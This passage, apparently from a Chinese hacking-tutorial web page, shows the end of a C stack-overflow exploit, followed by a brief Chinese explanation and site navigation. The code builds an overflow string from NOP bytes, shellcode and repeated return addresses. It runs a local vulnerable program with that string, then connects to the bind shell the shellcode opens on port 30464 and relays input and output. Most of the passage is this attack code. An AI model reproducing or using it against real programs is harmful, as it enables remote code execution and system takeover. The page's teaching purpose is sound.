buff[i+ALIGN+3]=(addr&0xff000000)>>24;  
}  

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)  
buff[i]=NOP;  

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;  
for(i=0;i<strlen(shellcode);i++)  
*(ptr++)=shellcode[i];  

buff[bsize-1]="\0"  

printf("Jump to 0x%08x\n",addr);  

if(fork()==0)  
{  
execl("./vulnerable","vulnerable",buff,0);  
exit(0);  
}  
sleep(5);  
sockfd=connect_sh(getip("127.0.0.1"));  
exec_sh(sockfd);  
}  
------------------------------------------------------------------------  
----  
算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标  
程序  
来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的  
shellcode被  
执行,那么在30464端口就会有server在listen了。  

父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket  
读取  
收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端  
。  


 

『关闭该页』 『打印该页』

  • 上一篇文章:
  • 责任编辑:Wangtianxiang 
  • 下一篇文章:
  • 最近更新
    推荐文章黑客横行,教你设个陷阱
    推荐文章批处理学习完全教程
    推荐文章安全技巧:检查自己的
    推荐文章多种方法:揪出隐藏在电
    推荐文章介绍一种通过的个人电
    推荐文章SEO专家祝鹏:浅谈SEO
    推荐文章王通:让网络销售疯狂
    推荐文章三步让你录制的动画体
    推荐文章深度解析:IE7 0Day 漏
    推荐文章Google AdSense 账户最
    热门文章
    普通文章教你如何轻松解密Md5密
    普通文章查看加密空间日志最新
    普通文章利用SQL命令开启3389
    普通文章解除网吧限止11法小节
    普通文章两句代码使卡巴、360自
    推荐文章批处理学习完全教程
    普通文章菜鸟:看看骇客怎么给你
    普通文章腾讯发布第三代QQ
    普通文章女大学生宋雅丹淘宝开
    普通文章CMD下加sql账号:黑客
    相关文章
    武汉查获特大网络传播淫
    新手建站过程全攻略
    网站防篡改 立即部署WEB
    DMXReady Registration 
    从系统杀毒防黑等多面 打
    调查显示七成人重视网银
    防止网站被旁注入侵策略
    黑客高手眼中安全防范的
    四个原因让僵尸网络难以
    调查人员复制出如何用No
    DedeCMSV53任意变量覆盖
    2009年最新QQ申诉经验!
    解密木马病毒的作案手段
    付费调查网站赚钱的30个
    删发帖者资料版主被警方
    黑客入侵法Orange 网站导
    IDC企业称DNS攻击泛滥 呼
    QQ盗号真凶被找到了
    调查显示七成人重视网银
    黑客技能:指导你破解QQ键
    关于我们 | 加入会员 | 网安商城 | 投稿方法 | 广告报价| 友情连接 | 网站地图 | 网安论坛网安招聘 |Java
    加入会员咨询QQ:65444425 投稿方法: 广告与合作QQ:9324223

    浙ICP备06031184号